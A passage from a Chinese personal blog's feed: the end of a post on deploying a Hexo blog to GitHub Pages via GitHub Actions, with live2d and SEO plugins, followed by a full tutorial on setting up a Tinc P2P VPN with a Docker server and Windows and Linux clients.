<h2 id="github-pages"><a href="#github-pages" class="headerlink" title="github pages"></a>github pages</h2><p>在新建一个仓库，名字为<code>plusls.github.io</code></p>
<p>修改仓库设置如下</p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/github-pages.png" alt="github-pages.png"></p>
<p>随后将<code>blog.plusls.com</code> CNAME 到 <code>plusls.github.io</code>，即可使用<code>blog.plusls.com</code>访问github pages（白嫖大成功）</p>
<h2 id="git-deploy"><a href="#git-deploy" class="headerlink" title="git deploy"></a>git deploy</h2><p>自动部署博客到github pages，安装插件<code>hexo-deployer-git</code></p>
<p>修改配置<code>_config.yml</code>：</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Deployment</span></span><br><span class="line"><span class="comment">## Docs: https://hexo.io/docs/deployment.html</span></span><br><span class="line"><span class="attr">deploy:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">git</span></span><br><span class="line">  <span class="attr">repo:</span> <span class="string">git@github.com:plusls/plusls.github.io.git</span></span><br><span class="line">  <span class="attr">branch:</span> <span class="string">master</span></span><br></pre></td></tr></table></figure>

<p>配置好后命令行输入hexo deploy会自动部署博客到github pages</p>
<p>由于该插件每次都会初始化一个新的git仓库并push到远端，这个操作会覆盖掉仓库原有的CNAME文件。可以提前在source目录下放置CNAME，hexo会自动将其拷贝到网站的根目录下。</p>
<h2 id="Github-Action"><a href="#Github-Action" class="headerlink" title="Github Action"></a>Github Action</h2><p>终于到正题了，我这人有点懒，并不想写完博客后还要手动去执行hexo deploy，考虑使用Github Action，让我在写完博文push后自动部署</p>
<p>新建文件<code>.github/workflows/deploy.yml</code></p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">name:</span> <span class="string">Deploy</span> <span class="string">Hexo</span></span><br><span class="line"></span><br><span class="line"><span class="attr">on:</span> [<span class="string">push</span>]</span><br><span class="line"></span><br><span class="line"><span class="attr">jobs:</span></span><br><span class="line">  <span class="attr">build:</span></span><br><span class="line">    <span class="attr">runs-on:</span> <span class="string">ubuntu-latest</span></span><br><span class="line">    <span class="attr">strategy:</span></span><br><span class="line">      <span class="attr">matrix:</span></span><br><span class="line">        <span class="attr">node-version:</span> [<span class="number">10.</span><span class="string">x</span>]</span><br><span class="line"></span><br><span class="line">    <span class="attr">steps:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Pull</span> <span class="string">code</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/checkout@v2</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">submodules:</span> <span class="literal">true</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Configure</span> <span class="string">Node.js</span> <span class="string">$&#123;&#123;</span> <span class="string">matrix.node-version</span> <span class="string">&#125;&#125;</span></span><br><span class="line">        <span class="attr">uses:</span> <span class="string">actions/setup-node@v1</span></span><br><span class="line">        <span class="attr">with:</span></span><br><span class="line">          <span class="attr">node-version:</span> <span class="string">$&#123;&#123;</span> <span class="string">matrix.node-version</span> <span class="string">&#125;&#125;</span></span><br><span class="line"></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Install</span> <span class="string">Hexo</span> <span class="string">CI</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          export TZ=&#x27;Asia/Shanghai&#x27;</span></span><br><span class="line"><span class="string">          npm i -g hexo-cli</span></span><br><span class="line"><span class="string">          npm i</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Install</span> <span class="string">plugin</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          npm install hexo-deployer-git --save</span></span><br><span class="line"><span class="string">          npm install github:plusls/hexo-asset-image --save</span></span><br><span class="line"><span class="string">          echo install success</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Configure</span> <span class="string">git</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">          <span class="attr">ACTION_DEPLOY_KEY:</span> <span class="string">$&#123;&#123;</span> <span class="string">secrets.GITHUB_ACTION</span> <span class="string">&#125;&#125;</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          mkdir -p ~/.ssh/</span></span><br><span class="line"><span class="string">          echo &quot;$ACTION_DEPLOY_KEY&quot; &gt; ~/.ssh/id_rsa</span></span><br><span class="line"><span class="string">          chmod 600 ~/.ssh/id_rsa</span></span><br><span class="line"><span class="string">          ssh-keyscan github.com &gt;&gt; ~/.ssh/known_hosts</span></span><br><span class="line"><span class="string">          git config --global user.name &quot;plusls&quot;</span></span><br><span class="line"><span class="string">          git config --global user.email &quot;pluslslsulp@gmail.com&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">Deploy</span></span><br><span class="line">        <span class="attr">run:</span> <span class="string">|</span></span><br><span class="line"><span class="string">          hexo clean</span></span><br><span class="line"><span class="string">          hexo g</span></span><br><span class="line"><span class="string">          hexo deploy</span></span><br><span class="line"><span class="string">          rm ~/.ssh/id_rsa</span></span><br></pre></td></tr></table></figure>

<p>Github Action的教程网上也有，但是没几个教程有说明怎么让git免密码push</p>
<p>首先ssh-keygen生成私钥和公钥，随后将公钥放到<code>plusls.github.io</code>的<code>settings\Deploy Keys</code>，名字随便起一个就好了</p>
<p>私钥则要放在博客的github仓库的<code>settings\secrets</code>，名字必须为<code>GITHUB_ACTION</code>，因为上面的脚本是通过<code>secrets.GITHUB_ACTION</code>来获取私钥并写入<code> ~/.ssh/id_rsa</code>的</p>
<h2 id="live2d"><a href="#live2d" class="headerlink" title="live2d"></a>live2d</h2><p>老婆！</p>
<p>在 hexo 使用 live2d 看板娘十分方便，安装 hexo-helper-live2d 插件即可</p>
<p>作者自带的模型中并没有 Sagiri，去网上随便找了个扔在 <code>/live2d_models</code>，跟着文档改改配置就能用了</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># Live2D</span></span><br><span class="line"><span class="comment">## https://github.com/EYHN/hexo-helper-live2d</span></span><br><span class="line"><span class="attr">live2d:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="comment"># enable: false</span></span><br><span class="line">  <span class="attr">scriptFrom:</span> <span class="string">local</span> <span class="comment"># 默认</span></span><br><span class="line">  <span class="attr">pluginRootPath:</span> <span class="string">live2dw/</span> <span class="comment"># 插件在站点上的根目录(相对路径)</span></span><br><span class="line">  <span class="attr">pluginJsPath:</span> <span class="string">lib/</span> <span class="comment"># 脚本文件相对与插件根目录路径</span></span><br><span class="line">  <span class="attr">pluginModelPath:</span> <span class="string">assets/</span> <span class="comment"># 模型文件相对与插件根目录路径</span></span><br><span class="line">  <span class="comment"># scriptFrom: jsdelivr # jsdelivr CDN</span></span><br><span class="line">  <span class="comment"># scriptFrom: unpkg # unpkg CDN</span></span><br><span class="line">  <span class="comment"># scriptFrom: https://cdn.jsdelivr.net/npm/live2d-widget@3.x/lib/L2Dwidget.min.js # 你的自定义 url</span></span><br><span class="line">  <span class="attr">tagMode:</span> <span class="literal">false</span> <span class="comment"># 标签模式, 是否仅替换 live2d tag标签而非插入到所有页面中</span></span><br><span class="line">  <span class="attr">debug:</span> <span class="literal">false</span> <span class="comment"># 调试, 是否在控制台输出日志</span></span><br><span class="line">  <span class="attr">model:</span></span><br><span class="line">    <span class="comment"># use: live2d-widget-model-wanko # npm-module package name</span></span><br><span class="line">    <span class="attr">use:</span> <span class="string">sagiri</span> <span class="comment"># 博客根目录/live2d_models/ 下的目录名</span></span><br><span class="line">    <span class="comment"># use: ./wives/wanko # 相对于博客根目录的路径</span></span><br><span class="line">    <span class="comment"># use: https://cdn.jsdelivr.net/npm/live2d-widget-model-wanko@1.0.5/assets/wanko.model.json # 你的自定义 url</span></span><br><span class="line">  <span class="comment">#   scale: 1</span></span><br><span class="line">  <span class="comment">#   hHeadPos: 0.5</span></span><br><span class="line">  <span class="comment">#   vHeadPos: 0.618</span></span><br><span class="line">  <span class="comment"># display:</span></span><br><span class="line">  <span class="comment">#   superSample: 2</span></span><br><span class="line">  <span class="comment">#   width: 150</span></span><br><span class="line">  <span class="comment">#   height: 300</span></span><br><span class="line">  <span class="comment">#   position: right</span></span><br><span class="line">  <span class="comment">#   hOffset: 0</span></span><br><span class="line">  <span class="comment">#   vOffset: -20</span></span><br><span class="line">  <span class="attr">mobile:</span></span><br><span class="line">    <span class="attr">show:</span> <span class="literal">false</span></span><br><span class="line">    <span class="attr">scale:</span> <span class="number">0.5</span></span><br><span class="line">  <span class="comment"># react:</span></span><br><span class="line">  <span class="comment">#   opacityDefault: 0.7</span></span><br><span class="line">  <span class="comment">#   opacityOnHover: 0.2</span></span><br></pre></td></tr></table></figure>

<h2 id="SEO-和-RSS"><a href="#SEO-和-RSS" class="headerlink" title="SEO 和 RSS"></a>SEO 和 RSS</h2><p>SEO 我也不太搞得明白，只是生成了站点地图并且提交给了百度和谷歌</p>
<p>next 主题也提供了一些 SEO 的开关，像 baidu push 之类的，弄完后百度和谷歌会自动爬取页面，有新页面时站点地图也会自动更新。不干了，睡大觉！</p>
<p>RSS 和站点地图都可以用安装插件来完成。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">npm install --save hexo-generator-baidu-sitemap</span><br><span class="line">npm install --save hexo-generator-sitemap </span><br><span class="line">npm install --save hexo-generator-feed</span><br></pre></td></tr></table></figure>]]></content>
      <categories>
        <category>misc</category>
      </categories>
  </entry>
  <entry>
    <title>配置 Tinc VPN</title>
    <url>/network/configure-tinc-vpn/</url>
    <content><![CDATA[<p>在广域网想要使用局域网联机玩一些游戏, 如 Left 4 Death 2, 一般需要使用 VPN 来构成局域网。但是 openvpn, L2TP 之类的 VPN 配置复杂, 并且是中心化的 VPN, 若是服务器线路不好则会延迟过高。</p>
<p>考虑到国内的机器贵的要死, 国外机器延迟又高, 只有白嫖阿里云学生机才能维持得了生活的样子。学生机配置也不高, 带宽也不够, Tinc VPN 这类 P2P vpn 刚好能解决学生机的痛点, 我最后决定用 Tinc VPN 组建内网。</p>
<p>本文用于记录 Tinc VPN 搭建过程。</p>
<span id="more"></span>

<h2 id="中心化与-P2P-VPN"><a href="#中心化与-P2P-VPN" class="headerlink" title="中心化与 P2P VPN"></a>中心化与 P2P VPN</h2><p>假设 A 机器和 B 机器需要相互连接, 但是都没有公网 IP, 中心化 VPN 服务器为 C, 在 A 和 B连接上 VPN 后 A 要访问 B, 则流量走向为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">A-&gt;C-&gt;B</span><br></pre></td></tr></table></figure>

<p>最后 A 到 B 的延迟则为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">A-&gt;C 的延迟 + B-&gt;C 的延迟</span><br></pre></td></tr></table></figure>

<p>若是网络结构保持不变, 但是 VPN 支持 P2P 连接, 并且 A 和 B 不全是对称 NAT, 则服务器 C 会辅助 A 和 B 机器进行打洞, 如果打洞成功, 最后的流量走向为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">A-&gt;B</span><br></pre></td></tr></table></figure>

<p>流量不需要经过机器 C, 这时延迟和带宽就不会受到服务器的限制, 并且能大大降低服务器的压力</p>
<p>如果 A 和 B机器之间的网络情况比较复杂（比如 A B 都是对称 NAT）, 这时就会打洞失败, A 到 B 之间的流量走向仍为</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">A-&gt;C-&gt;B</span><br></pre></td></tr></table></figure>

<h2 id="服务器配置"><a href="#服务器配置" class="headerlink" title="服务器配置"></a>服务器配置</h2><p>本来搭 Tinc 还是挺麻烦的, 但是有人已经打包了一个 docker 镜像, 一键部署就好</p>
<p>新建 docker-compose.yml:</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&quot;3.7&quot;</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">tinc:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">vimagick/tinc</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">plusls-tinc</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;655:655/tcp&quot;</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;655:655/udp&quot;</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">./tinc:/etc/tinc</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">IP_ADDR=tinc-server.plusls.com</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">ADDRESS=192.168.32.1/32</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">NETMASK=255.255.255.0</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">NETWORK=192.168.32.0/24</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">RUNMODE=server</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">NETNAME=plusls-tinc</span></span><br><span class="line">    <span class="attr">cap_add:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">NET_ADMIN</span></span><br><span class="line">    <span class="attr">dns:</span> <span class="number">8.8</span><span class="number">.8</span><span class="number">.8</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line"><span class="attr">networks:</span></span><br><span class="line">  <span class="attr">default:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">plusls-tinc</span></span><br><span class="line">    <span class="attr">driver:</span> <span class="string">bridge</span></span><br><span class="line">    <span class="attr">driver_opts:</span></span><br><span class="line">      <span class="attr">com.docker.network.bridge.name:</span> <span class="string">plusls-tinc</span></span><br></pre></td></tr></table></figure>

<p>一般只需要更改 environment 部分</p>
<p>其中 IP_ADDR 是 VPN server 的 公网 IP, 可以使用域名</p>
<p>NETWORK 是 tinc 的子网, 随便设一个就好, 只要不和你机器的网络冲突就行</p>
<p>NETMASK 在 peer.sh 中使用, 目前用不上, 但是最好也填上, 要和 NETWORK 设置的子网一致</p>
<p>ADDRESS 是 VPN server 在子网中的 IP</p>
<p>NETNAME 是网络名, 自己起一个名字就好, 要求服务器和客户端的 NETNAME 要一致</p>
<p>随后 <code>docker-compose up -d</code>, 就可完成服务器搭建</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">plusls@us1:~/tinc$ docker-compose up -d</span><br><span class="line">Creating network <span class="string">&quot;tinc&quot;</span> with driver <span class="string">&quot;bridge&quot;</span></span><br><span class="line">Creating tinc ... <span class="keyword">done</span></span><br><span class="line">plusls@us1:~/tinc$</span><br></pre></td></tr></table></figure>

<p>此时服务器目录结构如下</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">.</span><br><span class="line">├── docker-compose.yml</span><br><span class="line">└── tinc</span><br><span class="line">    └── plusls-tinc</span><br><span class="line">        ├── hosts</span><br><span class="line">        │   └── server</span><br><span class="line">        ├── rsa_key.priv</span><br><span class="line">        ├── tinc.conf</span><br><span class="line">        ├── tinc-down</span><br><span class="line">        └── tinc-up</span><br><span class="line"></span><br><span class="line">3 directories, 6 files</span><br></pre></td></tr></table></figure>

<p>如果希望 Tinc 启动在别的端口上, 可以修改 ports 配置, 语法为</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;host:container/tcp&quot;</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">&quot;host:container/udp&quot;</span></span><br></pre></td></tr></table></figure>

<p>如果希望启动在 11451 端口, 则可以写为</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="string">&quot;11451:655/tcp&quot;</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">&quot;11451:655/udp&quot;</span></span><br></pre></td></tr></table></figure>

<h2 id="客户端配置"><a href="#客户端配置" class="headerlink" title="客户端配置"></a>客户端配置</h2><h3 id="windows"><a href="#windows" class="headerlink" title="windows"></a>windows</h3><h4 id="安装tinc"><a href="#安装tinc" class="headerlink" title="安装tinc"></a>安装tinc</h4><p><a href="https://www.tinc-vpn.org/packages/windows/tinc-1.0.36-install.exe">https://www.tinc-vpn.org/packages/windows/tinc-1.0.36-install.exe</a></p>
<p>废话不写了</p>
<p>默认会安装到 <code>C:\Program Files (x86)\tinc</code></p>
<p>安装完后安装目录下应该是这样</p>
<p><img data-src="/network/configure-tinc-vpn/img/tinc-install-directory.png" alt="tinc-install-directory.png"></p>
<h4 id="创建-TAP-设备"><a href="#创建-TAP-设备" class="headerlink" title="创建 TAP 设备"></a>创建 TAP 设备</h4><p>tinc VPN 需要使用一个 TAP 设备, 在 tap-win64 目录下有 addtap.bat</p>
<p>右键用管理员权限打开 addtap.bat</p>
<p><img data-src="/network/configure-tinc-vpn/img/addtap.png" alt="addtap.png"></p>
<h4 id="更改网络适配器名字"><a href="#更改网络适配器名字" class="headerlink" title="更改网络适配器名字"></a>更改网络适配器名字</h4><p>找到写有TAP-Windows-Adapter V9的那个网络适配器, 为它起一个别名, 后面配置文件中会用到, 这里起的别名为 <code>plusls-tinc</code></p>
<p><img data-src="/network/configure-tinc-vpn/img/tinc-install-directory.png" alt="tinc-install-directory.png"></p>
<h4 id="创建配置文件"><a href="#创建配置文件" class="headerlink" title="创建配置文件"></a>创建配置文件</h4><p>在安装目录下新建个目录, 名字为服务器配置的 NETNAME, 在这里使用 plusls-tinc</p>
<p>最后配置结束后的目录结构如下:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">./</span><br><span class="line">├── COPYING.txt</span><br><span class="line">├── doc</span><br><span class="line">├── NEWS.txt</span><br><span class="line">├── plusls-tinc</span><br><span class="line">│   ├── hosts</span><br><span class="line">│   │   ├── plusls_x1c</span><br><span class="line">│   │   └── server</span><br><span class="line">│   ├── rsa_key.priv</span><br><span class="line">│   ├── rsa_key.pub</span><br><span class="line">│   ├── tinc.conf</span><br><span class="line">│   ├── tinc-down.bat</span><br><span class="line">│   └── tinc-up.bat</span><br><span class="line">├── README.txt</span><br><span class="line">├── tap-win64</span><br><span class="line">│   ├── addtap.bat</span><br><span class="line">│   ├── deltapall.bat</span><br><span class="line">│   ├── OemWin2k.inf</span><br><span class="line">│   ├── tap0901.cat</span><br><span class="line">│   ├── tap0901.sys</span><br><span class="line">│   └── tapinstall.exe</span><br><span class="line">├── tincd.exe</span><br><span class="line">└── Uninstall.exe</span><br></pre></td></tr></table></figure>

<h5 id="tinc-conf"><a href="#tinc-conf" class="headerlink" title="tinc.conf"></a>tinc.conf</h5><p>在该目录下新建 <code>tinc.conf</code></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Name = plusls_x1c</span><br><span class="line">ConnectTo = server</span><br><span class="line">Interface = plusls-tinc</span><br></pre></td></tr></table></figure>

<p>Name 为机器名, 可以随便取, 只要不和 Tinc 网络内其它机器冲突就行。名字有个坑点, 不能使用 <code>-</code>, 最好使用英文数字下划线</p>
<p>ConnectTo 表示连接到的节点, 由于之前配置的服务器节点名为 server, 这里填写 server</p>
<p>Interface 填写刚才创建的 TAP 设备的名字, 这里填写 plusls-tinc</p>
<h5 id="hosts"><a href="#hosts" class="headerlink" title="hosts"></a>hosts</h5><p>新建目录 hosts</p>
<p>在 hosts 目录下新建文件, 名字为 <code>tinc.conf</code> 中的 Name, 这里填写的是 plusls_x1c</p>
<p>里面填入</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Subnet = 192.168.32.2/32</span><br></pre></td></tr></table></figure>

<p>Subnet 是本机分配到的子网, 只要不和别的机器冲突就行, 这里选了 <code>192.168.32.2</code></p>
<p>在 hosts 目录下新建文件 server, 内容和服务器上的 <code>tinc/&#123;NETNAME&#125;/hosts</code> 一致</p>
<p>样例:</p>
<p><img data-src="/network/configure-tinc-vpn/img/server.png" alt="server.png"></p>
<p>如果服务器的端口不是 655, 则需要在 Subnet 后加一行</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Port = &#123;Port&#125;</span><br></pre></td></tr></table></figure>

<p>Port 为端口号</p>
<h5 id="tinc-up-bat"><a href="#tinc-up-bat" class="headerlink" title="tinc-up.bat"></a>tinc-up.bat</h5><figure class="highlight bat"><table><tr><td class="code"><pre><span class="line">netsh interface ip <span class="built_in">set</span> address plusls-tinc static <span class="number">192</span>.<span class="number">168</span>.<span class="number">32</span>.<span class="number">2</span> <span class="number">255</span>.<span class="number">255</span>.<span class="number">255</span>.<span class="number">0</span></span><br></pre></td></tr></table></figure>

<p>其中 plusls-tinc 应为之前设置的 NETNAME, 192.168.32.2 对应着在 hosts 设置的 ip, 255.255.255.0 为子网掩码, 要和服务器设置的一致</p>
<h5 id="tinc-down-bat"><a href="#tinc-down-bat" class="headerlink" title="tinc-down.bat"></a>tinc-down.bat</h5><p>空文件</p>
<h4 id="生成秘钥对"><a href="#生成秘钥对" class="headerlink" title="生成秘钥对"></a>生成秘钥对</h4><p>使用 tincd.exe 生成秘钥对</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.\tincd.exe -n plusls-tinc -K 4096</span><br></pre></td></tr></table></figure>

<p>plusls-tinc 为网络名</p>
<p><img data-src="/network/configure-tinc-vpn/img/client-key.png" alt="client-key.png"></p>
<p>此时会生成 rsa_key.priv</p>
<p>同时 Tinc 会将公钥附加到 <code>hosts/&#123;NAME&#125;</code> 后面</p>
<p>随后将公钥复制到服务器的 <code>tinc/&#123;NETNAME&#125;/hosts/&#123;NAME&#125;</code></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.</span><br><span class="line">├── docker-compose.yml</span><br><span class="line">└── tinc</span><br><span class="line">    └── plusls-tinc</span><br><span class="line">        ├── hosts</span><br><span class="line">        │   ├── plusls_x1c</span><br><span class="line">        │   └── server</span><br><span class="line">        ├── rsa_key.priv</span><br><span class="line">        ├── tinc.conf</span><br><span class="line">        ├── tinc-down</span><br><span class="line">        └── tinc-up</span><br></pre></td></tr></table></figure>

<h4 id="测试连接服务器"><a href="#测试连接服务器" class="headerlink" title="测试连接服务器"></a>测试连接服务器</h4><p>需要管理员运行</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.\tincd --net=plusls-tinc -D -d 5</span><br></pre></td></tr></table></figure>

<p>plusls-tinc 为网络名</p>
<p>如果能 ping 通 192.168.32.1, 即服务器 ip, 则说明连接成功</p>
<h4 id="创建服务"><a href="#创建服务" class="headerlink" title="创建服务"></a>创建服务</h4><p>需要管理员运行</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.\tincd --net=plusls-tinc</span><br></pre></td></tr></table></figure>

<h3 id="linux"><a href="#linux" class="headerlink" title="linux"></a>linux</h3><p>这里的需求有点变化, 该机器自身有一个内网 <code>172.29.0.0/22</code>, 我希望别的机器能够透过 Tinc 访问这台机器的内网</p>
<p>该机器的 ip 为 <code>192.168.32.3</code></p>
<h4 id="安装-Tinc"><a href="#安装-Tinc" class="headerlink" title="安装 Tinc"></a>安装 Tinc</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo apt update</span><br><span class="line">sudo apt install tinc</span><br></pre></td></tr></table></figure>

<h4 id="配置-Tinc"><a href="#配置-Tinc" class="headerlink" title="配置 Tinc"></a>配置 Tinc</h4><p>在 <code>/etc/tinc</code> 下新建个目录, 名字为服务器配置的 NETNAME, 在这里使用 plusls-tinc</p>
<p>配置完成后的目录结构:</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/etc/tinc</span><br><span class="line">├── nets.boot</span><br><span class="line">└── plusls-tinc</span><br><span class="line">    ├── hosts</span><br><span class="line">    │   ├── d315</span><br><span class="line">    │   └── server</span><br><span class="line">    ├── rsa_key.priv</span><br><span class="line">    ├── tinc.conf</span><br><span class="line">    ├── tinc-down</span><br><span class="line">    └── tinc-up</span><br></pre></td></tr></table></figure>

<h5 id="tinc-conf-1"><a href="#tinc-conf-1" class="headerlink" title="tinc.conf"></a>tinc.conf</h5><p>在<code>/etc/tinc/plusls-tinc</code>目录下新建 <code>tinc.conf</code></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Name = d315</span><br><span class="line">ConnectTo = server</span><br><span class="line">Interface = plusls-tinc</span><br></pre></td></tr></table></figure>

<p>Name 为机器名, 可以随便取, 只要不和 Tinc 网络内其它机器冲突就行。名字有个坑点, 不能使用 <code>-</code>, 最好使用英文数字下划线</p>
<p>ConnectTo 表示连接到的节点, 由于之前配置的服务器节点名为 server, 这里填写 server</p>
<p>Interface 填写刚才创建的 TAP 设备的名字, 这里填写 d315</p>
<h5 id="hosts-1"><a href="#hosts-1" class="headerlink" title="hosts"></a>hosts</h5><p>在 hosts 目录下新建文件, 名字为 <code>tinc.conf</code> 中的 Name, 这里填写的是 d315</p>
<p>由于需要让别的机器能访问 <code>172.29.0.0/22</code>, 添加新子网</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Subnet = 192.168.32.3/32</span><br><span class="line">Subnet = 172.29.0.0/22</span><br></pre></td></tr></table></figure>

<p>在 hosts 目录下新建文件 server, 内容和服务器上的 <code>tinc/&#123;NETNAME&#125;/hosts</code> 一致</p>
<p>样例:</p>
<p><img data-src="/network/configure-tinc-vpn/img/server.png" alt="server.png"></p>
<p>如果服务器的端口不是 655, 则需要在 Subnet 后加一行</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Port = &#123;Port&#125;</span><br></pre></td></tr></table></figure>

<p>Port 为端口号</p>
<h5 id="tinc-up"><a href="#tinc-up" class="headerlink" title="tinc-up"></a>tinc-up</h5><p>需要设置接口, 添加路由</p>
<p>由于别的机器要借助此机器访问内网, 还需要配置 NAT</p>
<p>如果没有这个需求则不需要添加下面的 iptables 规则</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line">ip <span class="built_in">link</span> <span class="built_in">set</span> <span class="variable">$INTERFACE</span> up</span><br><span class="line">ip addr add 192.168.32.3/32 dev <span class="variable">$INTERFACE</span></span><br><span class="line">ip route add 192.168.32.0/24 dev <span class="variable">$INTERFACE</span></span><br><span class="line">iptables -A FORWARD -o <span class="string">&quot;<span class="variable">$&#123;INTERFACE&#125;</span>&quot;</span> -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT</span><br><span class="line">iptables -A FORWARD -i <span class="string">&quot;<span class="variable">$&#123;INTERFACE&#125;</span>&quot;</span> -j ACCEPT</span><br><span class="line">iptables -t nat -A POSTROUTING -s <span class="string">&quot;192.168.32.0&quot;</span>/<span class="string">&quot;255.255.255.0&quot;</span> ! -o <span class="string">&quot;<span class="variable">$&#123;INTERFACE&#125;</span>&quot;</span> -j MASQUERADE</span><br></pre></td></tr></table></figure>

<h5 id="tinc-down"><a href="#tinc-down" class="headerlink" title="tinc-down"></a>tinc-down</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line">ip route del 192.168.32.0/24 dev <span class="variable">$INTERFACE</span></span><br><span class="line">ip addr del 192.168.32.3/32 dev <span class="variable">$INTERFACE</span></span><br><span class="line">iptables -D FORWARD -o <span class="string">&quot;<span class="variable">$&#123;INTERFACE&#125;</span>&quot;</span> -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT</span><br><span class="line">iptables -D FORWARD -i <span class="string">&quot;<span class="variable">$&#123;INTERFACE&#125;</span>&quot;</span> -j ACCEPT</span><br><span class="line">iptables -t nat -D POSTROUTING -s <span class="string">&quot;192.168.32.0&quot;</span>/<span class="string">&quot;255.255.255.0&quot;</span> ! -o <span class="string">&quot;<span class="variable">$&#123;INTERFACE&#125;</span>&quot;</span> -j MASQUERADE</span><br><span class="line">ip <span class="built_in">link</span> <span class="built_in">set</span> <span class="variable">$INTERFACE</span> down</span><br></pre></td></tr></table></figure>

<h5 id="设置可执行权限"><a href="#设置可执行权限" class="headerlink" title="设置可执行权限"></a>设置可执行权限</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo <span class="built_in">chmod</span> +x tinc-up tinc-down</span><br></pre></td></tr></table></figure>

<h4 id="生成秘钥对-1"><a href="#生成秘钥对-1" class="headerlink" title="生成秘钥对"></a>生成秘钥对</h4><p>使用 tincd.exe 生成秘钥对</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">tincd.exe -n plusls-tinc -K 4096</span><br></pre></td></tr></table></figure>

<p>plusls-tinc 为网络名</p>
<p>此时会生成 rsa_key.priv</p>
<p>同时 Tinc 会将公钥附加到 <code>hosts/&#123;NAME&#125;</code> 后面</p>
<p>随后将公钥复制到服务器的 <code>tinc/&#123;NETNAME&#125;/hosts/&#123;NAME&#125;</code></p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.</span><br><span class="line">├── docker-compose.yml</span><br><span class="line">└── tinc</span><br><span class="line">    └── plusls-tinc</span><br><span class="line">        ├── hosts</span><br><span class="line">        │   ├── plusls_x1c</span><br><span class="line">        │   └── server</span><br><span class="line">        │   └── d315</span><br><span class="line">        ├── rsa_key.priv</span><br><span class="line">        ├── tinc.conf</span><br><span class="line">        ├── tinc-down</span><br><span class="line">        └── tinc-up</span><br></pre></td></tr></table></figure>
